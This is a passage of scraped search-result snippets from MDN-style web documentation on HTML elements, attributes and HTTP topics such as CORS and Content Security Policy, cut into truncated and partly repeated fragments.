n getting visitors to book trips. mobile users, however, are probably more interested in checking-in for a flight or seeing if their flight is delayed. they’ve adjusted their site’s content to reflect this, and it meets the needs of mobile users. goal #3 (performance) “give your users a smooth experience, even on a slow connection.” though things have been getting better in recent years, browsing the internet over a wireless data connection can still be pretty painful. this makes it more essential than ever to practice good performance practices, only sending the user the bits they will actually need. know your audience while not strictly a part of the definition of being mobile friendly, defining who your target audience is makes these goals much more concrete. for example, it is abso...
...onnection can still be pretty painful. this makes it more essential than ever to practice good performance practices, only sending the user the bits they will actually need. know your audience while not strictly a part of the definition of being mobile friendly, defining who your target audience is makes these goals much more concrete. for example, it is absolutely critical to keep in mind which browsers and devices you will target when picking a mobile strategy. if your audience is full of early-adopters, you can focus on tablets and smartphones with standards-friendly browsers. on the other hand, if many of your site’s users are on devices with less capable browsers, that may eliminate certain strategies as viable options. approaches to mobile web development the following approaches aim t...
HTML attribute: required - HTML: Hypertext Markup Language
oth have default values. it is also not supported on hidden as it can not be expected that a user to fill out a form that is hidden. nor is it supported on any of the button types, including image. note color and range don't support required, but type color defaults to #00000, and range defaults to the midpoint between min and max -- with min and max defaulting to 0 and 100 respectively in most browsers if not declared -- so always has a value. when an input has the required attribute, the :required pseudo-class also applies to it. conversely, inputs that support the required attribute but don't have the attribute set match the :optional pseudo-class. in the case of a same named group of radio buttons, if a single radio button in the group has the required attribute, a radio button in that ...
...ng the user that the input, select or textarea is required. in addition, target required form controls with the :required pseudo-class, styling them in a way to indicate they are required. this improves usability for sited user. assistive technology should inform the user that the form control in mandatory based on the required attribute, but adding aria-required="true" doesn't hurt, in case the browser / screen reader combination does not support required yet. constraint validation if the element is required and the element's value is the empty string, then the element is suffering from valuemissing and the element will match the :invalid pseudo class. specifications specification status comment html living standardthe definition of 'required attribute' in tha...
DASH Adaptive Streaming for HTML 5 Video - HTML: Hypertext Markup Language
it can be enabled via "about:config" and the "media.dash.enabled" preference. firefox 23 removed support for dash for html5 webm video. ...
...n. dash works via http, so as long as your http server supports byte range requests, and it's set up to serve .mpd files with mimetype="application/dash+xml", then you're all set. using dash - client side you'll want to modify your web page to point to the dash manifest first, instead of directly to a particular video file: <video> <source src="movie.mpd"> <source src="movie.webm"> your browser does not support the video tag. </video> that's it! if dash is supported by the browser, your video will now stream adaptively. links webm dash specification at the webm project dash industry forum webm project description of how to create dash files with ffmpeg ...
<applet>: The Embed Java Applet element - HTML: Hypertext Markup Language
Web › HTML › Element › applet
content categories flow content, phrasing content, embedded content, interactive content, palpable content. ...
...nt attributes align this attribute is used to position the applet on the page relative to content that might flow around it. the html 4.01 specification defines values of bottom, left, middle, right, and top, whereas microsoft and netscape also might support absbottom, absmiddle, baseline, center, and texttop. alt this attribute causes a descriptive text alternate to be displayed on browsers that do not support java. page designers should also remember that content enclosed within the <applet> element may also be rendered as alternative text. archive this attribute refers to an archived or compressed version of the applet and its associated class files, which might help reduce download time. code this attribute specifies the url of the applet's class file to be loaded and exec...
<base>: The Document Base URL element - HTML: Hypertext Markup Language
Web › HTML › Element › base
this element's attributes include the global attributes. if either of the following attributes are specified, this element must come before other elements with attribute values of urls, such as <link>’s href attribute. href the base url to be used throughout the document for relative urls. absolute and relative urls are allowed. ...
.... href the base url to be used throughout the document for relative urls. absolute and relative urls are allowed. target a keyword or author-defined name of the default browsing context to show the results of navigation from <a>, <area>, or <form> elements without explicit target attributes. the following keywords have special meanings: _self (default): show the result in the current browsing context. _blank: show the result in a new, unnamed browsing context. _parent: show the result in the parent browsing context of the current one, if the current page is inside a frame. if there is no parent, acts the same as _self. _top: show the result in the topmost browsing context (the browsing context that is an ancestor of the current one and has no parent). if there is no parent, a...
<dl>: The Description List element - HTML: Hypertext Markup Language
Web › HTML › Element › dl
any element that accepts flow content. implicit aria role no corresponding role permitted aria roles group, list, none, presentation dom interface htmldlistelement attributes this element only includes the global attributes. examples single term and description <dl> <dt>firefox</dt> <dd> a free, open source, cross-platform, graphical web browser developed by the mozilla corporation and hundreds of volunteers. </dd> <!-- other terms and descriptions --> </dl> multiple terms, single description <dl> <dt>firefox</dt> <dt>mozilla firefox</dt> <dt>fx</dt> <dd> a free, open source, cross-platform, graphical web browser developed by the mozilla corporation and hundreds of volunteers. </dd> <!-- o...
... </dd> <dd> the red panda also known as the lesser panda, wah, bear cat or firefox, is a mostly herbivorous mammal, slightly larger than a domestic cat (60 cm long). ...
<embed>: The Embed External Content element - HTML: Hypertext Markup Language
Web › HTML › Element › embed
the html <embed> element embeds external content at the specified point in the document. this content is provided by an external application or other source of interactive content such as a browser plug-in. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: this topic documents only the element that is defined as part of html5. it does not address earlier, non-standardized implementation of the element. ...
...this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: this topic documents only the element that is defined as part of html5. it does not address earlier, non-standardized implementation of the element. keep in mind that most modern browsers have deprecated and removed support for browser plug-ins, so relying upon <embed> is generally not wise if you want your site to be operable on the average user's browser. content categories flow content, phrasing content, embedded content, interactive content, palpable content. permitted content none, it is an empty element. tag omission must have a start ...
<input type="button"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › button
also known as access keys and keyboard equivalents, let the user trigger a button using a key or combination of keys on the keyboard. to add a keyboard shortcut to a button — just as you would with any <input> for which it makes sense — you use the accesskey global attribute. in this example, s is specified as the access key (you'll need to press s plus the particular modifier keys for your browser/os combination; see accesskey for a useful list of those). <form> <input type="button" value="start machine" accesskey="s"> </form> <p>the machine is stopped.</p> const button = document.queryselector('input'); const paragraph = document.queryselector('p'); button.addeventlistener('click', updatebutton); function updatebutton() { if (button.value === 'start machine') { button.va...
...use the autocomplete attribute to control this feature. validation buttons don't participate in constraint validation; they have no real value to be constrained. examples the below example shows a very simple drawing app created using a <canvas> element and some simple css and javascript (we'll hide the css f...
<keygen> - HTML: Hypertext Markup Language
Web › HTML › Element › keygen
9. the user may be given a choice of dsa key sizes, allowing the user to choose one of the sizes defined in the dsa standard. for ec keys, the keyparams parameter specifies the name of the elliptic curve on which the key will be generated. it is normally a string from the table in nskeygenhandler.cpp. (note that only a subset of the curves named there may actually be supported in any particular browser.) if the keyparams parameter string is not a recognized curve name string, then a curve is chosen according to the user's chosen key strength (low, medium, high), using the curve named "secp384r1" for high, and the curve named "secp256r1" for medium keys. (note: choice of the number of key strengths, default values for each strength, and the ui by which the user is offered a choice, are outside...
... of the number of key strengths, default values for each strength, and the ui by which the user is offered a choice, are outside of the scope of this specification.) the <keygen> element is only valid within an html form. it will cause some sort of selection to be presented to the user for selecting key size. the ui for the selection may be a menu, radio buttons, or possibly something else. the browser presents several possible key strengths. currently, two strengths are offered, high and medium. if the user's browser is configured to support cryptographic hardware (e.g. "smart cards") the user may also be given a choice of where to generate the key, i.e., in a smart card or in software and stored on disk. when the submit button is pressed, a key pair of the selected size is generated. the p...
<listing> - HTML: Hypertext Markup Language
Web › HTML › Element › listing
summary the html listing element (<listing>) renders text between the start and end tags without interpreting the html in between and using a monospaced font. the html 2 standard recommended that lines shouldn't be broken when not greater than 132 characters. note: do not use this element. it is deprecated since html 3.2 and was neither implemented by all browsers, nor in a consistent way. even more it is obsoleted in html5 and may be rendered by conforming user-agents as the <pre> element, which will interpret the internal html! instead use the <pre> element or if semantically adequate the <code> element, eventually escaping the html '<' and '>' so that they don't get interpreted. a monospaced font can also be obtained on a simple <div> element, by applying an adequate css style usi...
...nt, by applying an adequate css style using monospace as the generic-font value in a font-family property. attributes this element has no other attributes than the global attributes, common to all elements. dom interface this element implements the htmlelement interface. implementation note: up to gecko 1.9.2 inclusive, firefox implements the htmlspanelement interface for this element. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetlisting deprecatedchrome...
<main> - HTML: Hypertext Markup Language
Web › HTML › Element › main
at filling for apple pies.</p> <p>... </p> <p>... </p> </article> </main> <!-- other content --> accessibility concerns landmark the <main> element behaves like a main landmark role. landmarks can be used by assistive technology to quickly identify and navigate to large sections of the document. prefer using the <main> element over declaring role="main", unless there are legacy browser support concerns. skip navigation skip navigation, also known as "skipnav", is a technique that allows an assistive technology user to quickly bypass large sections of repeated content (main navigation, info banners, etc.). this lets the user access the main content of the page faster. adding an id attribute to the <main> element lets it be a target of a skip navigation link. <body> <a hr...
...nners, etc.). this lets the user access the main content of the page faster. adding an id attribute to the <main> element lets it be a target of a skip navigation link. <body> <a href="#main-content">skip to main content</a> <!-- navigation and header content --> <main id="main-content"> <!-- main page content --> </main> </body> webaim: "skip navigation" links reader mode browser reader mode functionality looks for the presence of the <main> element, as well as heading and content sectioning elements when converting content into a specialized reader view. building websites for safari reader mode and other reading apps. specifications specification status comment html living standardthe definition of '<main>' in that specification. li...
<menu> - HTML: Hypertext Markup Language
Web › HTML › Element › menu
the type attribute on the <menu> element is now obsolete. <menuitem> element is obsolete. html <!-- a button, which displays a menu when clicked. --> <button type="menu" menu="popup-menu"> dropdown </button> <menu type="context" id="popup-menu"> <menuitem>action</menuitem> <menuitem>another action</menuitem> <hr/> <menuitem>separated action</menuitem> </menu> result ...
...te. <menuitem> element is obsolete. html <!-- a button, which displays a menu when clicked. --> <button type="menu" menu="popup-menu"> dropdown </button> <menu type="context" id="popup-menu"> <menuitem>action</menuitem> <menuitem>another action</menuitem> <hr/> <menuitem>separated action</menuitem> </menu> result toolbar toolbar menus haven't been implemented in any known browsers yet. html <!-- a context menu for a simple editor, - containing two menu buttons. --> <menu type="toolbar"> <li> <button type="menu" menu="file-menu">file</button> <menu type="context" id="file-menu"> <menuitem label="new..." onclick="newfile()"> <menuitem label="save..." onclick="savefile()"> </menu> </li> <li> <button type="menu" menu="edit-menu">edit<...
<object> - HTML: Hypertext Markup Language
Web › HTML › Element › object
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content; phrasing content; embedded content, palpable content; if the element has a usemap attribute, interactive content; listed, submittable form-associated element. permitted content zero or more <param> elements, then transparent. ...
...in html5, repeat the <object> element completely each that that the resource is reused. formhtml5 the form element, if any, that the object element is associated with (its form owner). the value of the attribute must be an id of a <form> element in the same document. height the height of the displayed resource, in css pixels. -- (absolute values only. no percentages) name the name of valid browsing context (html5), or the name of the control (html 4). standbyhtml 4 onlyobsolete since html5 a message that the browser can show while loading the object's implementation and data. tabindexhtml 4 onlyobsolete since html5 the position of the element in the tabbing navigation order for the current document. type the content type of the resource specified by data. at least one of data and t...
<plaintext>: The Plain Text element (Deprecated) - HTML: Hypertext Markup Language
the html plaintext element (<plaintext>) renders everything following the start tag as raw text, ignoring any following html. there is no closing tag, since everything after it is considered raw text. note: do not use this element. <plaintext> is deprecated since html 2, and not all browsers implemented it. browsers that did implement it didn't do so consistently. <plaintext> is obsolete in html5; browsers that accept it may instead treat it as a <pre> element that still interprets html within. if <plaintext> is the first element on the page (other than any non-displayed elements, like <head>), do not use html at all. instead serve a text file with the text/plain mime-type. instead of <plaintext>, use the <pre> element or, if semantically accurate (such as for inline text), the <code...
...re> element that still interprets html within. if <plaintext> is the first element on the page (other than any non-displayed elements, like <head>), do not use html at all. instead serve a text file with the text/plain mime-type. instead of <plaintext>, use the <pre> element or, if semantically accurate (such as for inline text), the <code> element. escape any <, > and & characters, to prevent browsers inadvertently parsing content the element content as html. a monospaced font can be applied to any html element via a css font-family style with the monospace generic value. attributes this element has no other attributes than the global attributes common to all elements. dom interface this element implements the htmlelement interface. implementation note: in gecko 1.9.2 and before, f...
<pre>: The Preformatted Text element - HTML: Hypertext Markup Language
Web › HTML › Element › pre
characters that a line should have. it was a non-standard synonym of width. to achieve such an effect, use css width instead. width contains the preferred count of characters that a line should have. though technically still implemented, this attribute has no visual effect; to achieve such an effect, use css width instead. wrap is a hint indicating how the overflow must happen. in modern browser this hint is ignored and no visual effect results in its present; to achieve such an effect, use css white-space instead. example html <p>using css to change the font color is easy.</p> <pre> body { color: red; } </pre> result accessibility concerns it is important to provide an alternate description for any images or diagrams created using preformatted text. the alternate descripti...
...ad. example html <p>using css to change the font color is easy.</p> <pre> body { color: red; } </pre> result accessibility concerns it is important to provide an alternate description for any images or diagrams created using preformatted text. the alternate description should clearly and concisely describe the image or diagram's content. people experiencing low vision conditions and browsing with the aid of assistive technology such as a screen reader may not understand what the preformatted text characters are representing when they are read out in sequence. a combination of the <figure> and <figcaption> elements, supplemented by a combination of an id and the aria role and aria-labelledby attributes allow the preformatted text to be announced as an image, with the figcaption se...
<q>: The Inline Quotation element - HTML: Hypertext Markup Language
Web › HTML › Element › q
this element is intended for short quotations that don't require paragraph breaks; for long quotations use the <blockquote> element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. ...
...rasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlquoteelement usage note: most modern browsers will automatically add quotation marks around text inside a <q> element. a style rule may be needed to add quotation marks in older browsers. attributes this element includes the global attributes. cite the value of this attribute is a url that designates a source document or message for the information quoted. this attribute is intended to point to information explaining the context or...
<rb>: The Ruby Base element - HTML: Hypertext Markup Language
Web › HTML › Element › rb
by annotations are for showing pronunciation of east asian characters, like using japanese furigana or taiwanese bopomofo characters. the <rb> element is used to separate out each segment of the ruby base text. even though <rb> is not an empty element, it is common to just include the opening tag of each element in the source code, so that the ruby markup is less complex and easier to read. the browser can then fill in the full element in the rendered version. you need to include one <rt> element for each base segment/<rb> element that you want to annotate. examples in this example, we provide an annotation for the original character equivalent of "kanji": <ruby> <rb>漢<rb>字 <rp>(</rp><rt>kan<rt>ji<rp>)</rp> </ruby> note how we've included two <rb> elements, to delimit the two se...
...h the two base text parts annotated completely separately. in this case we don't need to include <rb> elements: <ruby> 漢 <rp>(</rp><rt>kan</rt><rp>)</rp> 字 <rp>(</rp><rt>ji</rt><rp>)</rp> </ruby> <ruby> <rb>漢<rb>字 <rp>(</rp><rt>kan<rt>ji<rp>)</rp> </ruby> body { font-size: 22px; } the output looks like so: the html above might look something like this when rendered by a browser without ruby support: 漢字 (kan ji) body { font-size: 22px; } note: see the article about the <ruby> element for further examples. specifications specification status comment html5the definition of '<rb>' in that specification. recommendation ...
<rp>: The Ruby Fallback Parenthesis element - HTML: Hypertext Markup Language
Web › HTML › Element › rp
one <rp> element should enclose each of the opening and closing parentheses that wrap the <rt> element that contains the annotation's text. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. ...
...t; the <rp> content provides what should be displayed in order to indicate the presence of a ruby annotation, usually parentheses. examples this example uses ruby annotations to display the romaji equivalents for each character. <ruby> 漢 <rp>(</rp><rt>kan</rt><rp>)</rp> 字 <rp>(</rp><rt>ji</rt><rp>)</rp> </ruby> css body { font-size: 22px; } the result looks like this in your browser: the html above rendered by a browser without ruby support might look like this: 漢 (kan) 字 (ji) body { font-size: 22px; } see the article about the <ruby> element for further examples. specifications specification status comment html living standardthe definition of '<rp>' in that specification. living standard html5the definition...
<samp>: The Sample Output element - HTML: Hypertext Markup Language
Web › HTML › Element › samp
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. ...
... tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. usage notes you can use a css rule to override the browser's default font face for the <samp> element; however, it's possible that the browser's preferences may take precedence over any css you specify. the css to override the default font face would look like this: samp { font-family: "courier"; } if you need an element which will serve as a container for output generated by your website or app's javascript code, you should instead use the <outp...
<shadow>: The obsolete Shadow Root element - HTML: Hypertext Markup Language
Web › HTML › Element › shadow
permitted parents any element that accepts flow content. permitted aria roles none dom interface htmlshadowelement attributes this element includes the global attributes. example here is a simple example of using the <shadow> element. it is an html file with everything needed in it. note: this is an experimental technology. for this code to work, the browser you display it in must support web components. see enabling web components in firefox. <html> <head></head> <body> <!-- this <div> will hold the shadow roots. --> <div> <!-- this heading will not be displayed --> <h4>my original heading</h4> </div> <script> // get the <div> above with its content var origcontent = document.queryselector('div'); // create the ...
... specifications this element is no longer defined by any specifications. ...
<strong>: The Strong Importance element - HTML: Hypertext Markup Language
Web › HTML › Element › strong
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, must have both a start tag and an end tag. ...
... or <strong>? don't they both do the same thing?" not exactly. the <strong> element is for content that is of greater importance, while the <b> element is used to draw attention to text without indicating that it's more important. it may help to realize that both are valid and semantic elements in html5 and that it's a coincidence that they both have the same default styling (boldface) in most browsers (although some older browsers actually underline <strong>). each element is meant to be used in certain types of scenarios, and if you want to bold text simply for decoration, you should instead actually use the css font-weight property. the intended meaning or purpose of the enclosed text should be what determines which element you use. communicating meaning is what semantics are all about. ...
<template>: The Content Template element - HTML: Hypertext Markup Language
Web › HTML › Element › template
body> </table> <template id="productrow"> <tr> <td class="record"></td> <td></td> </tr> </template> first, we have a table into which we will later insert content using javascript code. then comes the template, which describes the structure of an html fragment representing a single table row. now that the table has been created and the template defined, we use javascript to insert rows into the table, with each row being constructed using the template as its basis. // test to see if the browser supports the html template element by checking // for the presence of the template element's content attribute. if ('content' in document.createelement('template')) { // instantiate the table with the existing html tbody // and the row with the template var tbody = document...
...].textcontent = "1235646565"; td[1].textcontent = "stuff"; tbody.appendchild(clone); // clone the new row and insert it into the table var clone2 = template.content.clonenode(true); td = clone2.queryselectorall("td"); td[0].textcontent = "0384928528"; td[1].textcontent = "acme kidney beans 2"; tbody.appendchild(clone2); } else { // find another way to add the rows to the table because // the html template element is not supported. } the result is the original html table, with two new rows appended to it via javascript: table { background: #000; } table td { background: #fff; } avoiding documentfragment pitfall a documentfragment is not a valid target for various events, as such it is often preferable to clone or refer to the elements within ...
<title>: The Document Title element - HTML: Hypertext Markup Language
Web › HTML › Element › title
permitted parents a <head> element that contains no other <title> element. implicit aria role no corresponding role permitted aria roles no role permitted. ...
... permitted parents a <head> element that contains no other <title> element. implicit aria role no corresponding role permitted aria roles no role permitted. dom interface htmltitleelement attributes this element only includes the global attributes. ...
<track>: The Embed Text Track element - HTML: Hypertext Markup Language
Web › HTML › Element › track
riptions textual description of the video content. suitable for users who are blind or where the video cannot be seen. chapters chapter titles are intended to be used when the user is navigating the media resource. metadata tracks used by scripts. not visible to the user. label a user-readable title of the text track which is used by the browser when listing available text tracks. src address of the track (.vtt file). must be a valid url. this attribute must be specified and its url value must have the same origin as the document — unless the <audio> or <video> parent element of the track element has a crossorigin attribute. srclang language of the track text data. it must be a valid bcp 47 language tag. if the kind attribute is ...
...age of the track text data. it must be a valid bcp 47 language tag. if the kind attribute is set to subtitles, then srclang must be defined. usage notes track data types the type of data that track adds to the media is set in the kind attribute, which can take values of subtitles, captions, descriptions, chapters or metadata. the element points to a source file containing timed text that the browser exposes when the user requests additional data. a media element cannot have more than one track with the same kind, srclang, and label. detecting cue changes the underlying texttrack, indicated by the track property, receives a cuechange event every time the currently-presented cue is changed. this happens even if the track isn't associated with a media element. if the track is associated w...
<ul>: The Unordered List element - HTML: Hypertext Markup Language
Web › HTML › Element › ul
oles directory, group, listbox, menu, menubar, none, presentation, radiogroup, tablist, toolbar, tree dom interface htmlulistelement attributes this element includes the global attributes. compact this boolean attribute hints that the list should be rendered in a compact style. the interpretation of this attribute depends on the user agent, and it doesn't work in all browsers. warning: do not use this attribute, as it has been deprecated: use css instead. to give a similar effect as the compact attribute, the css property line-height can be used with a value of 80%. type this attribute sets the bullet style for the list. the values defined under html3.2 and the transitional version of html 4.0/4.01 are: circle disc square a fourth bullet typ...
...en deprecated: use css instead. to give a similar effect as the compact attribute, the css property line-height can be used with a value of 80%. type this attribute sets the bullet style for the list. the values defined under html3.2 and the transitional version of html 4.0/4.01 are: circle disc square a fourth bullet type has been defined in the webtv interface, but not all browsers support it: triangle. if not present and if no css list-style-type property applies to the element, the user agent selects a bullet type depending on the nesting level of the list. warning: do not use this attribute, as it has been deprecated; use the css list-style-type property instead. usage notes the <ul> element is for grouping a collection of items that do not have a numerical...
<var>: The Variable element - HTML: Hypertext Markup Language
Web › HTML › Element › var
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. ...
...this can be overridden in css, like this: var { font: bold 15px "courier", "courier new", monospace; } examples basic example here's a simple example, using <var> to denote variable names in a mathematical equation. <p>a simple equation: <var>x</var> = <var>y</var> + 2 </p> the output: overriding the default style using css, you...
spellcheck - HTML: Hypertext Markup Language
checked for spelling errors. note: the spellcheck attribute is an enumerated one and not a boolean one. this means that the explicit usage of one of the values true or false is mandatory, and that a shorthand like <textarea spellcheck></textarea> is not allowed. the correct usage is <textarea spellcheck="true"></textarea>. if this attribute is not set, its default value is element-type and browser-defined. this default value may also be inherited, which means that the element content will be checked for spelling errors only if its nearest ancestor has a spellcheck state of true. this attribute is merely a hint for the browser: browsers are not required to check for spelling errors. typically non-editable elements are not checked for spelling errors, even if the spellcheck attribute is s...
... specifications specification status comment html living standardthe definition of 'spellcheck' in that specification. ...
title - HTML: Hypertext Markup Language
3.2.5.1. the title attribute | w3c html 5.2: 3. semantics, structure, and apis of html documents using the html title attribute – updated | the paciello group ...
...se of the title attribute is highly problematic for: people using touch-only devices people navigating with keyboards people navigating with assistive technology such as screen readers or magnifiers people experiencing fine motor control impairment people with cognitive concerns this is due to inconsistent browser support, compounded by the additional assistive technology parsing of the browser-rendered page. if a tooltip effect is desired, it is better to use a more accessible technique that can be accessed with the above browsing methods. 3.2.5.1. the title attribute | w3c html 5.2: 3. semantics, structure, and apis of html documents using the html title attribute – updated | the paciello group tooltips & toggletips - inclusive components the trials and tribulations of the t...
Link types: dns-prefetch - HTML: Hypertext Markup Language
see using dns-prefetch for more details. ...
... see using dns-prefetch for more details. ...
HTTP authentication - HTTP
ntials to the proxy server. access forbidden if a (proxy) server receives valid credentials that are inadequate to access a given resource, the server should respond with the 403 forbidden status code. unlike 401 unauthorized or 407 proxy authentication required, authentication is impossible for this user. ...
...cently been fixed by browsers is authentication of cross-site images. from firefox 59 onwards, image resources loaded from different origins to the current document are no longer able to trigger http authentication dialogs (bug 1423146), preventing user credentials being stolen if attackers were able to embed an arbitrary image into a third-party page. character encoding of http authentication browsers use utf-8 encoding for usernames and passwords. firefox once used iso-8859-1, but changed to utf-8 for parity with other browsers and to avoid potential problems as described in bug 1419658. www-authenticate and proxy-authenticate headers the www-authenticate and proxy-authenticate response headers define the authentication method that should be used to gain access to a resource. they must ...
Choosing between www and non-www URLs - HTTP
canonical domain to work still. techniques for canonical urls there are different ways to choose which website is canonical. using http 301 redirects in this case, you need to configure the server receiving the http requests (which is most likely the same for www and non-www urls) to respond with an adequate http 301 response to any request to the non-canonical domain. this will redirect the browser trying to access the non-canonical urls to their canonical equivalent. for example, if you've chosen to use non-www urls as the canonical type, you should redirect all www urls to their equivalent url without the www. example: a server receives a request for http://www.example.org/whaddup (when the canonical domain is example.org) the server answers with a code 301 with the header location...
...e search engine result pages. when adding such a tag, you serve the same content for both domains, telling search engines which url is canonical. in the previous example, http://www.example.org/whaddup would serve the same content as http://example.org/whaddup, but with an additional <link> element in the head: <link href="http://example.org/whaddup" rel="canonical"> unlike the previous case, browser history will consider non-www and www urls as independent entries. make your page work for both with these techniques, you can configure your server to respond correctly for both, the www-prefixed and the non-www-prefixed domains. it is good advice to do this since you can't predict which url users will type in their browser's url bar. it is a matter of choosing which type you want to use as ...
CORS errors - HTTP
Web › HTTP › CORS › Errors
y allow some cross-origin requests while rejecting others. for example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. setting up such a cors configuration isn't necessarily easy and may present some challenges. in these pages, we'll look into some common cors error messages and how to resolve them. if the cors configuration isn't setup correctly, the browser console will present an error like "cross-origin request blocked: the same origin policy disallows reading the remote resource at $somesite" indicating that the request was blocked due to violating the cors security rules. this might not necessarily be a set-up mistake, though. it's possible that the request is in fact intentionally being disallowed by the user's web application and remote exte...
...g: cross-origin request blocked: the same origin policy disallows reading the remote resource at https://some-url-here. (reason: additional information here). note: for security reasons, specifics about what went wrong with a cors request are not available to javascript code. all the code knows is that an error occurred. the only way to determine what specifically went wrong is to look at the browser's console for details. cors error messages firefox's console displays messages in its console when requests fail due to cors. part of the error text is a "reason" message that provides added insight into what went wrong. the reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions. reason: cors disabled re...
HTTP conditional requests - HTTP
e resources, this is more efficient than to transmit the whole resource over the wire again. if the resource has changed, the server just sends back a 200 ok response, with the new version of the resource, like if the request wasn't conditional and the client uses this new resource (and caches it). besides the setting of the validators on the server side, this mechanism is transparent: all browsers manage a cache and send such conditional requests without any special work to be done by web developers. integrity of a partial download partial downloading of files is a functionality of http that allows to resume previous operations, saving bandwidth and time, by keeping the already obtained information: a server supporting partial downloads broadcasts this by sending the accept-ranges ...
...ill be compliant, you need first to issue a head request to the resource to check this. conclusion conditional requests are a key feature of http, and allow the building of efficient and complex applications. for caching or resuming downloads, the only work required for webmasters is to configure the server correctly; setting correct etags in some environments can be tricky. once achieved, the browser will serve the expected conditional requests. for locking mechanisms, it is the opposite: web developers need to issue a request with the proper headers, while webmasters can mostly rely on the application to carry out the checks for them. in both cases it's clear, conditional requests are a fundamental feature behind the web. ...
Accept-Charset - HTTP
the accept-charset request http header advertises which character encodings the client understands. using content negotiation, the server selects one of the encodings, uses it, and informs the client of its choice within the content-type response header, usually in a charset= parameter. browsers usually don't send this header, as the default value for each resource is usually correct and transmitting it would allow fingerprinting. if the server cannot serve any character encoding from this request header, it can theoretically send back a 406 not acceptable error code. but for a better user experience, this is rarely done and the accept-charset header is ignored. in early versions of http/1.1, a default character encoding was defined: iso-8859-1. this is no longer recommended, and now each ...
...xperience, this is rarely done and the accept-charset header is ignored. in early versions of http/1.1, a default character encoding was defined: iso-8859-1. this is no longer recommended, and now each content-type may have its own default. utf-8 is now well-supported and the overwhelmingly preferred character encoding. to guarantee better privacy through less configuration-based entropy, all browsers omit the accept-charset header: internet explorer 8+, safari 5+, opera 11+, firefox 10+ and chrome 27+ no longer send it. header type request header forbidden header name yes syntax accept-charset: <charset> // multiple types, weighted with the quality value syntax: accept-charset: utf-8, iso-8859-1;q=0.5 directives <charset> a character encoding name, l...
Accept-Ranges - HTTP
header type response header forbidden header name no syntax accept-ranges: <range-unit> accept-ranges: none directives <range-unit> defines the range unit the server supports. ...
...syntax accept-ranges: <range-unit> accept-ranges: none directives <range-unit> defines the range unit the server supports. though bytes is the only range unit formally defined by rfc 7233, additional range units may be registered in the http range unit registry. none no range unit is supported, this makes the header equivalent of its own absence and is therefore rarely used, though some browsers, like ie9, it is used to disable or remove the pause buttons in the download manager. examples accept-ranges: bytes specifications specification title rfc 7233, section 2.3: accept-ranges hypertext transfer protocol (http/1.1): range requests ...
CSP: base-uri - HTTP
finitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers an...
...ingle quotes are required. 'nonce-<base64-value>' an allow-list for specific inline scripts using a cryptographic nonce (number used once). the server must generate a unique nonce value each time it transmits a policy. it is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. see unsafe inline script for an example. specifying nonce makes a modern browser ignore 'unsafe-inline' which could still be set for older browsers without nonce support. '<hash-algorithm>-<base64-value>' a sha256, sha384 or sha512 hash of scripts or styles. the use of this source consists of two portions separated by a dash: the encryption algorithm used to create the hash and the base64-encoded hash of the script or style. when generating the hash, don't include the <sc...
CSP: default-src - HTTP
finitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers an...
...ingle quotes are required. 'nonce-<base64-value>' an allow-list for specific inline scripts using a cryptographic nonce (number used once). the server must generate a unique nonce value each time it transmits a policy. it is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. see unsafe inline script for an example. specifying nonce makes a modern browser ignore 'unsafe-inline' which could still be set for older browsers without nonce support. '<hash-algorithm>-<base64-value>' a sha256, sha384 or sha512 hash of scripts or styles. the use of this source consists of two portions separated by a dash: the encryption algorithm used to create the hash and the base64-encoded hash of the script or style. when generating the hash, don't include the <sc...
CSP: font-src - HTTP
